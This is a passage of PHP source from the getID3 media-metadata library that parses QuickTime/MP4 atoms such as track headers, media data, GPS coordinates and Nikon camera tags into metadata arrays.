					$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
					$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
					$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));

					$atom_structure['flags']['no_lean_ahead'] = (bool) ($atom_structure['flags_raw'] & 0x001);
					break;


				case 'hdlr': // HanDLeR reference atom
					$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
					$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
					$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
					$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
					$atom_structure['component_name']         = $this->MaybePascal2String(substr($atom_data, 24));

					if (($atom_structure['component_subtype'] == 'STpn') && ($atom_structure['component_manufacturer'] == 'zzzz')) {
						$info['video']['dataformat'] = 'quicktimevr';
					}
					break;


				case 'mdhd': // MeDia HeaDer atom
					$atom_structure['version']               = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']             = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['creation_time']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['modify_time']           = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['time_scale']            = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['duration']              = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['language_id']           = getid3_lib::BigEndian2Int(substr($atom_data, 20, 2));
					$atom_structure['quality']               = getid3_lib::BigEndian2Int(substr($atom_data, 22, 2));

					if ($atom_structure['time_scale'] == 0) {
						$this->error('Corrupt Quicktime file: mdhd.time_scale == zero');
						return false;
					}
					$info['quicktime']['time_scale'] = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);

					$atom_structure['creation_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
					$atom_structure['modify_time_unix']      = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
					$atom_structure['playtime_seconds']      = $atom_structure['duration'] / $atom_structure['time_scale'];
					$atom_structure['language']              = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
					if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
						$info['comments']['language'][] = $atom_structure['language'];
					}
					$info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix'];
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix'];
					break;


				case 'pnot': // Preview atom
					$atom_structure['modification_date']      = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // "standard Macintosh format"
					$atom_structure['version_number']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x00
					$atom_structure['atom_type']              =                           substr($atom_data,  6, 4);        // usually: 'PICT'
					$atom_structure['atom_index']             = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2)); // usually: 0x01

					$atom_structure['modification_date_unix'] = getid3_lib::DateMac2Unix($atom_structure['modification_date']);
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modification_date_unix'];
					break;


				case 'crgn': // Clipping ReGioN atom
					$atom_structure['region_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2)); // The Region size, Region boundary box,
					$atom_structure['boundary_box']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 8)); // and Clipping region data fields
					$atom_structure['clipping_data'] =                           substr($atom_data, 10);           // constitute a QuickDraw region.
					break;


				case 'load': // track LOAD settings atom
					$atom_structure['preload_start_time'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
					$atom_structure['preload_duration']   = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['preload_flags_raw']  = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['default_hints_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));

					$atom_structure['default_hints']['double_buffer'] = (bool) ($atom_structure['default_hints_raw'] & 0x0020);
					$atom_structure['default_hints']['high_quality']  = (bool) ($atom_structure['default_hints_raw'] & 0x0100);
					break;


				case 'tmcd': // TiMe CoDe atom
				case 'chap': // CHAPter list atom
				case 'sync': // SYNChronization atom
				case 'scpt': // tranSCriPT atom
				case 'ssrc': // non-primary SouRCe atom
					for ($i = 0; $i < strlen($atom_data); $i += 4) {
						@$atom_structure['track_id'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
					}
					break;


				case 'elst': // Edit LiST atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					for ($i = 0; $i < $atom_structure['number_entries']; $i++ ) {
						$atom_structure['edit_list'][$i]['track_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 0, 4));
						$atom_structure['edit_list'][$i]['media_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 4, 4));
						$atom_structure['edit_list'][$i]['media_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 8 + ($i * 12) + 8, 4));
					}
					break;


				case 'kmat': // compressed MATte atom
					$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
					$atom_structure['matte_data_raw'] =               substr($atom_data,  4);
					break;


				case 'ctab': // Color TABle atom
					$atom_structure['color_table_seed']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // hardcoded: 0x00000000
					$atom_structure['color_table_flags']  = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x8000
					$atom_structure['color_table_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2)) + 1;
					for ($colortableentry = 0; $colortableentry < $atom_structure['color_table_size']; $colortableentry++) {
						$atom_structure['color_table'][$colortableentry]['alpha'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 0, 2));
						$atom_structure['color_table'][$colortableentry]['red']   = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 2, 2));
						$atom_structure['color_table'][$colortableentry]['green'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 4, 2));
						$atom_structure['color_table'][$colortableentry]['blue']  = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 6, 2));
					}
					break;


				case 'mvhd': // MoVie HeaDer atom
					$atom_structure['version']            =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']          =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['creation_time']      =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['modify_time']        =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['time_scale']         =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['duration']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['preferred_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 20, 4));
					$atom_structure['preferred_volume']   =   getid3_lib::FixedPoint8_8(substr($atom_data, 24, 2));
					$atom_structure['reserved']           =                             substr($atom_data, 26, 10);
					$atom_structure['matrix_a']           = getid3_lib::FixedPoint16_16(substr($atom_data, 36, 4));
					$atom_structure['matrix_b']           = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
					$atom_structure['matrix_u']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 44, 4));
					$atom_structure['matrix_c']           = getid3_lib::FixedPoint16_16(substr($atom_data, 48, 4));
					$atom_structure['matrix_d']           = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
					$atom_structure['matrix_v']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 56, 4));
					$atom_structure['matrix_x']           = getid3_lib::FixedPoint16_16(substr($atom_data, 60, 4));
					$atom_structure['matrix_y']           = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
					$atom_structure['matrix_w']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 68, 4));
					$atom_structure['preview_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 72, 4));
					$atom_structure['preview_duration']   =   getid3_lib::BigEndian2Int(substr($atom_data, 76, 4));
					$atom_structure['poster_time']        =   getid3_lib::BigEndian2Int(substr($atom_data, 80, 4));
					$atom_structure['selection_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 84, 4));
					$atom_structure['selection_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 88, 4));
					$atom_structure['current_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 92, 4));
					$atom_structure['next_track_id']      =   getid3_lib::BigEndian2Int(substr($atom_data, 96, 4));

					if ($atom_structure['time_scale'] == 0) {
						$this->error('Corrupt Quicktime file: mvhd.time_scale == zero');
						return false;
					}
					$atom_structure['creation_time_unix']        = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
					$atom_structure['modify_time_unix']          = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
					$info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix'];
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix'];
					$info['quicktime']['time_scale']    = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);
					$info['quicktime']['display_scale'] = $atom_structure['matrix_a'];
					$info['playtime_seconds']           = $atom_structure['duration'] / $atom_structure['time_scale'];
					break;


				case 'tkhd': // TracK HeaDer atom
					$atom_structure['version']             =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']           =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['creation_time']       =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['modify_time']         =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
					$atom_structure['trackid']             =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
					$atom_structure['reserved1']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
					$atom_structure['duration']            =   getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
					$atom_structure['reserved2']           =   getid3_lib::BigEndian2Int(substr($atom_data, 24, 8));
					$atom_structure['layer']               =   getid3_lib::BigEndian2Int(substr($atom_data, 32, 2));
					$atom_structure['alternate_group']     =   getid3_lib::BigEndian2Int(substr($atom_data, 34, 2));
					$atom_structure['volume']              =   getid3_lib::FixedPoint8_8(substr($atom_data, 36, 2));
					$atom_structure['reserved3']           =   getid3_lib::BigEndian2Int(substr($atom_data, 38, 2));
					// http://developer.apple.com/library/mac/#documentation/QuickTime/RM/MovieBasics/MTEditing/K-Chapter/11MatrixFunctions.html
					// http://developer.apple.com/library/mac/#documentation/QuickTime/qtff/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-18737
					$atom_structure['matrix_a']            = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
					$atom_structure['matrix_b']            = getid3_lib::FixedPoint16_16(substr($atom_data, 44, 4));
					$atom_structure['matrix_u']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 48, 4));
					$atom_structure['matrix_c']            = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
					$atom_structure['matrix_d']            = getid3_lib::FixedPoint16_16(substr($atom_data, 56, 4));
					$atom_structure['matrix_v']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 60, 4));
					$atom_structure['matrix_x']            = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
					$atom_structure['matrix_y']            = getid3_lib::FixedPoint16_16(substr($atom_data, 68, 4));
					$atom_structure['matrix_w']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 72, 4));
					$atom_structure['width']               = getid3_lib::FixedPoint16_16(substr($atom_data, 76, 4));
					$atom_structure['height']              = getid3_lib::FixedPoint16_16(substr($atom_data, 80, 4));
					$atom_structure['flags']['enabled']    = (bool) ($atom_structure['flags_raw'] & 0x0001);
					$atom_structure['flags']['in_movie']   = (bool) ($atom_structure['flags_raw'] & 0x0002);
					$atom_structure['flags']['in_preview'] = (bool) ($atom_structure['flags_raw'] & 0x0004);
					$atom_structure['flags']['in_poster']  = (bool) ($atom_structure['flags_raw'] & 0x0008);
					$atom_structure['creation_time_unix']  = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
					$atom_structure['modify_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
					$info['quicktime']['timestamps_unix']['create'][$atom_structure['hierarchy']] = $atom_structure['creation_time_unix'];
					$info['quicktime']['timestamps_unix']['modify'][$atom_structure['hierarchy']] = $atom_structure['modify_time_unix'];

					// https://www.getid3.org/phpBB3/viewtopic.php?t=1908
					// attempt to compute rotation from matrix values
					// 2017-Dec-28: uncertain if 90/270 are correctly oriented; values returned by FixedPoint16_16 should perhaps be -1 instead of 65535(?)
					$matrixRotation = 0;
					switch ($atom_structure['matrix_a'].':'.$atom_structure['matrix_b'].':'.$atom_structure['matrix_c'].':'.$atom_structure['matrix_d']) {
						case '1:0:0:1':         $matrixRotation =   0; break;
						case '0:1:65535:0':     $matrixRotation =  90; break;
						case '65535:0:0:65535': $matrixRotation = 180; break;
						case '0:65535:1:0':     $matrixRotation = 270; break;
						default: break;
					}

					// https://www.getid3.org/phpBB3/viewtopic.php?t=2468
					// The rotation matrix can appear in the Quicktime file multiple times, at least once for each track,
					// and it's possible that only the video track (or, in theory, one of the video tracks) is flagged as
					// rotated while the other tracks (e.g. audio) is tagged as rotation=0 (behavior noted on iPhone 8 Plus)
					// The correct solution would be to check if the TrackID associated with the rotation matrix is indeed
					// a video track (or the main video track) and only set the rotation then, but since information about
					// what track is what is not trivially there to be examined, the lazy solution is to set the rotation
					// if it is found to be nonzero, on the assumption that tracks that don't need it will have rotation set
					// to zero (and be effectively ignored) and the video track will have rotation set correctly, which will
					// either be zero and automatically correct, or nonzero and be set correctly.
					if (!isset($info['video']['rotate']) || (($info['video']['rotate'] == 0) && ($matrixRotation > 0))) {
						$info['quicktime']['video']['rotate'] = $info['video']['rotate'] = $matrixRotation;
					}

					if ($atom_structure['flags']['enabled'] == 1) {
						if (!isset($info['video']['resolution_x']) || !isset($info['video']['resolution_y'])) {
							$info['video']['resolution_x'] = $atom_structure['width'];
							$info['video']['resolution_y'] = $atom_structure['height'];
						}
						$info['video']['resolution_x'] = max($info['video']['resolution_x'], $atom_structure['width']);
						$info['video']['resolution_y'] = max($info['video']['resolution_y'], $atom_structure['height']);
						$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
						$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
					} else {
						// see: https://www.getid3.org/phpBB3/viewtopic.php?t=1295
						//if (isset($info['video']['resolution_x'])) { unset($info['video']['resolution_x']); }
						//if (isset($info['video']['resolution_y'])) { unset($info['video']['resolution_y']); }
						//if (isset($info['quicktime']['video']))    { unset($info['quicktime']['video']);    }
					}
					break;


				case 'iods': // Initial Object DeScriptor atom
					// http://www.koders.com/c/fid1FAB3E762903DC482D8A246D4A4BF9F28E049594.aspx?s=windows.h
					// http://libquicktime.sourcearchive.com/documentation/1.0.2plus-pdebian/iods_8c-source.html
					$offset = 0;
					$atom_structure['version']                =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['flags_raw']              =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 3));
					$offset += 3;
					$atom_structure['mp4_iod_tag']            =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['length']                 = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
					//$offset already adjusted by quicktime_read_mp4_descr_length()
					$atom_structure['object_descriptor_id']   =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));
					$offset += 2;
					$atom_structure['od_profile_level']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['scene_profile_level']    =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['audio_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['video_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;
					$atom_structure['graphics_profile_level'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
					$offset += 1;

					$atom_structure['num_iods_tracks'] = ($atom_structure['length'] - 7) / 6; // 6 bytes would only be right if all tracks use 1-byte length fields
					for ($i = 0; $i < $atom_structure['num_iods_tracks']; $i++) {
						$atom_structure['track'][$i]['ES_ID_IncTag'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
						$offset += 1;
						$atom_structure['track'][$i]['length']       = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
						//$offset already adjusted by quicktime_read_mp4_descr_length()
						$atom_structure['track'][$i]['track_id']     =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 4));
						$offset += 4;
					}

					$atom_structure['audio_profile_name'] = $this->QuicktimeIODSaudioProfileName($atom_structure['audio_profile_id']);
					$atom_structure['video_profile_name'] = $this->QuicktimeIODSvideoProfileName($atom_structure['video_profile_id']);
					break;

				case 'ftyp': // FileTYPe (?) atom (for MP4 it seems)
					$atom_structure['signature'] =                           substr($atom_data,  0, 4);
					$atom_structure['unknown_1'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$atom_structure['fourcc']    =                           substr($atom_data,  8, 4);
					break;

				case 'mdat': // Media DATa atom
					// 'mdat' contains the actual data for the audio/video, possibly also subtitles

	/* due to lack of known documentation, this is a kludge implementation. If you know of documentation on how mdat is properly structed, please send it to info@getid3.org */

					// first, skip any 'wide' padding, and second 'mdat' header (with specified size of zero?)
					$mdat_offset = 0;
					while (true) {
						if (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x08".'wide') {
							$mdat_offset += 8;
						} elseif (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x00".'mdat') {
							$mdat_offset += 8;
						} else {
							break;
						}
					}
					if (substr($atom_data, $mdat_offset, 4) == 'GPRO') {
						$GOPRO_chunk_length = getid3_lib::LittleEndian2Int(substr($atom_data, $mdat_offset + 4, 4));
						$GOPRO_offset = 8;
						$atom_structure['GPRO']['raw'] = substr($atom_data, $mdat_offset + 8, $GOPRO_chunk_length - 8);
						$atom_structure['GPRO']['firmware'] = substr($atom_structure['GPRO']['raw'],  0, 15);
						$atom_structure['GPRO']['unknown1'] = substr($atom_structure['GPRO']['raw'], 15, 16);
						$atom_structure['GPRO']['unknown2'] = substr($atom_structure['GPRO']['raw'], 31, 32);
						$atom_structure['GPRO']['unknown3'] = substr($atom_structure['GPRO']['raw'], 63, 16);
						$atom_structure['GPRO']['camera']   = substr($atom_structure['GPRO']['raw'], 79, 32);
						$info['quicktime']['camera']['model'] = rtrim($atom_structure['GPRO']['camera'], "\x00");
					}

					// check to see if it looks like chapter titles, in the form of unterminated strings with a leading 16-bit size field
					while (($mdat_offset < (strlen($atom_data) - 8))
						&& ($chapter_string_length = getid3_lib::BigEndian2Int(substr($atom_data, $mdat_offset, 2)))
						&& ($chapter_string_length < 1000)
						&& ($chapter_string_length <= (strlen($atom_data) - $mdat_offset - 2))
						&& preg_match('#^([\x00-\xFF]{2})([\x20-\xFF]+)$#', substr($atom_data, $mdat_offset, $chapter_string_length + 2), $chapter_matches)) {
							list($dummy, $chapter_string_length_hex, $chapter_string) = $chapter_matches;
							$mdat_offset += (2 + $chapter_string_length);
							@$info['quicktime']['comments']['chapters'][] = $chapter_string;

							// "encd" atom specifies encoding. In theory could be anything, almost always UTF-8, but may be UTF-16 with BOM (not currently handled)
							if (substr($atom_data, $mdat_offset, 12) == "\x00\x00\x00\x0C\x65\x6E\x63\x64\x00\x00\x01\x00") { // UTF-8
								$mdat_offset += 12;
							}
					}

					if (($atomsize > 8) && (!isset($info['avdataend_tmp']) || ($info['quicktime'][$atomname]['size'] > ($info['avdataend_tmp'] - $info['avdataoffset'])))) {

						$info['avdataoffset'] = $atom_structure['offset'] + 8;                       // $info['quicktime'][$atomname]['offset'] + 8;
						$OldAVDataEnd         = $info['avdataend'];
						$info['avdataend']    = $atom_structure['offset'] + $atom_structure['size']; // $info['quicktime'][$atomname]['offset'] + $info['quicktime'][$atomname]['size'];

						$getid3_temp = new getID3();
						$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
						$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
						$getid3_temp->info['avdataend']    = $info['avdataend'];
						$getid3_mp3 = new getid3_mp3($getid3_temp);
						if ($getid3_mp3->MPEGaudioHeaderValid($getid3_mp3->MPEGaudioHeaderDecode($this->fread(4)))) {
							$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
							if (!empty($getid3_temp->info['warning'])) {
								foreach ($getid3_temp->info['warning'] as $value) {
									$this->warning($value);
								}
							}
							if (!empty($getid3_temp->info['mpeg'])) {
								$info['mpeg'] = $getid3_temp->info['mpeg'];
								if (isset($info['mpeg']['audio'])) {
									$info['audio']['dataformat']   = 'mp3';
									$info['audio']['codec']        = (!empty($info['mpeg']['audio']['encoder']) ? $info['mpeg']['audio']['encoder'] : (!empty($info['mpeg']['audio']['codec']) ? $info['mpeg']['audio']['codec'] : (!empty($info['mpeg']['audio']['LAME']) ? 'LAME' :'mp3')));
									$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
									$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
									$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
									$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
									$info['bitrate']               = $info['audio']['bitrate'];
								}
							}
						}
						unset($getid3_mp3, $getid3_temp);
						$info['avdataend'] = $OldAVDataEnd;
						unset($OldAVDataEnd);

					}

					unset($mdat_offset, $chapter_string_length, $chapter_matches);
					break;

				case 'ID32': // ID3v2
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
					$getid3_id3v2->StartingOffset = $atom_structure['offset'] + 14; // framelength(4)+framename(4)+flags(4)+??(2)
					if ($atom_structure['valid'] = $getid3_id3v2->Analyze()) {
						$atom_structure['id3v2'] = $getid3_temp->info['id3v2'];
					} else {
						$this->warning('ID32 frame at offset '.$atom_structure['offset'].' did not parse');
					}
					unset($getid3_temp, $getid3_id3v2);
					break;

				case 'free': // FREE space atom
				case 'skip': // SKIP atom
				case 'wide': // 64-bit expansion placeholder atom
					// 'free', 'skip' and 'wide' are just padding, contains no useful data at all

					// When writing QuickTime files, it is sometimes necessary to update an atom's size.
					// It is impossible to update a 32-bit atom to a 64-bit atom since the 32-bit atom
					// is only 8 bytes in size, and the 64-bit atom requires 16 bytes. Therefore, QuickTime
					// puts an 8-byte placeholder atom before any atoms it may have to update the size of.
					// In this way, if the atom needs to be converted from a 32-bit to a 64-bit atom, the
					// placeholder atom can be overwritten to obtain the necessary 8 extra bytes.
					// The placeholder atom has a type of kWideAtomPlaceholderType ( 'wide' ).
					break;


				case 'nsav': // NoSAVe atom
					// http://developer.apple.com/technotes/tn/tn2038.html
					$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
					break;

				case 'ctyp': // Controller TYPe atom (seen on QTVR)
					// http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
					// some controller names are:
					//   0x00 + 'std' for linear movie
					//   'none' for no controls
					$atom_structure['ctyp'] = substr($atom_data, 0, 4);
					$info['quicktime']['controller'] = $atom_structure['ctyp'];
					switch ($atom_structure['ctyp']) {
						case 'qtvr':
							$info['video']['dataformat'] = 'quicktimevr';
							break;
					}
					break;

				case 'pano': // PANOrama track (seen on QTVR)
					$atom_structure['pano'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
					break;

				case 'hint': // HINT track
				case 'hinf': //
				case 'hinv': //
				case 'hnti': //
					$info['quicktime']['hinting'] = true;
					break;

				case 'imgt': // IMaGe Track reference (kQTVRImageTrackRefType) (seen on QTVR)
					for ($i = 0; $i < ($atom_structure['size'] - 8); $i += 4) {
						$atom_structure['imgt'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
					}
					break;


				// Observed-but-not-handled atom types are just listed here to prevent warnings being generated
				case 'FXTC': // Something to do with Adobe After Effects (?)
				case 'PrmA':
				case 'code':
				case 'FIEL': // this is NOT "fiel" (Field Ordering) as describe here: http://developer.apple.com/documentation/QuickTime/QTFF/QTFFChap3/chapter_4_section_2.html
				case 'tapt': // TrackApertureModeDimensionsAID - http://developer.apple.com/documentation/QuickTime/Reference/QT7-1_Update_Reference/Constants/Constants.html
							// tapt seems to be used to compute the video size [https://www.getid3.org/phpBB3/viewtopic.php?t=838]
							// * http://lists.apple.com/archives/quicktime-api/2006/Aug/msg00014.html
							// * http://handbrake.fr/irclogs/handbrake-dev/handbrake-dev20080128_pg2.html
				case 'ctts'://  STCompositionOffsetAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
				case 'cslg'://  STCompositionShiftLeastGreatestAID - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
				case 'sdtp'://  STSampleDependencyAID              - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
				case 'stps'://  STPartialSyncSampleAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
					//$atom_structure['data'] = $atom_data;
					break;

				case "\xA9".'xyz':  // GPS latitude+longitude+altitude
					$atom_structure['data'] = $atom_data;
					if (preg_match('#([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)?/$#i', $atom_data, $matches)) {
						@list($all, $latitude, $longitude, $altitude) = $matches;
						$info['quicktime']['comments']['gps_latitude'][]  = floatval($latitude);
						$info['quicktime']['comments']['gps_longitude'][] = floatval($longitude);
						if (!empty($altitude)) { // @phpstan-ignore-line
							$info['quicktime']['comments']['gps_altitude'][] = floatval($altitude);
						}
					} else {
						$this->warning('QuickTime atom "©xyz" data does not match expected data pattern at offset '.$baseoffset.'. Please report as getID3() bug.');
					}
					break;

				case 'NCDT':
					// https://exiftool.org/TagNames/Nikon.html
					// Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 4, $atomHierarchy, $ParseAllPossibleAtoms);
					break;
				case 'NCTH': // Nikon Camera THumbnail image
				case 'NCVW': // Nikon Camera preVieW image
				case 'NCM1': // Nikon Camera preview iMage 1
				case 'NCM2': // Nikon Camera preview iMage 2
					// https://exiftool.org/TagNames/Nikon.html
					if (preg_match('/^\xFF\xD8\xFF/', $atom_data)) {
						$descriptions = array(
							'NCTH' => 'Nikon Camera Thumbnail Image',
							'NCVW' => 'Nikon Camera Preview Image',
							'NCM1' => 'Nikon Camera Preview Image 1',
							'NCM2' => 'Nikon Camera Preview Image 2',
						);
						$atom_structure['data'] = $atom_data;
						$atom_structure['image_mime'] = 'image/jpeg';
						$atom_structure['description'] = $descriptions[$atomname];
						$info['quicktime']['comments']['picture'][] = array(
							'image_mime' => $atom_structure['image_mime'],
							'data' => $atom_data,
							'description' => $atom_structure['description']
						);
					}
					break;
				case 'NCTG': // Nikon - https://exiftool.org/TagNames/Nikon.html#NCTG
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.nikon-nctg.php', __FILE__, true);
					$nikonNCTG = new getid3_tag_nikon_nctg($this->getid3);

					$atom_structure['data'] = $nikonNCTG->parse($atom_data);
					break;
				case 'NCHD': // Nikon:MakerNoteVersion  - https://exiftool.org/TagNames/Nikon.html
					$makerNoteVersion = '';
					for ($i = 0, $iMax = strlen($atom_data); $i < $iMax; ++$i) {
						if (ord($atom_data[$i]) <= 0x1F) {
							$makerNoteVersion .= ' '.ord($atom_data[$i]);
						} else {
							$makerNoteVersion .= $atom_data[$i];
						}
					}
					$makerNoteVersion = rtrim($makerNoteVersion, "\x00");
					$atom_structure['data'] = array(
						'MakerNoteVersion' => $makerNoteVersion
					);
					break;
				case 'NCDB': // Nikon                   - https://exiftool.org/TagNames/Nikon.html
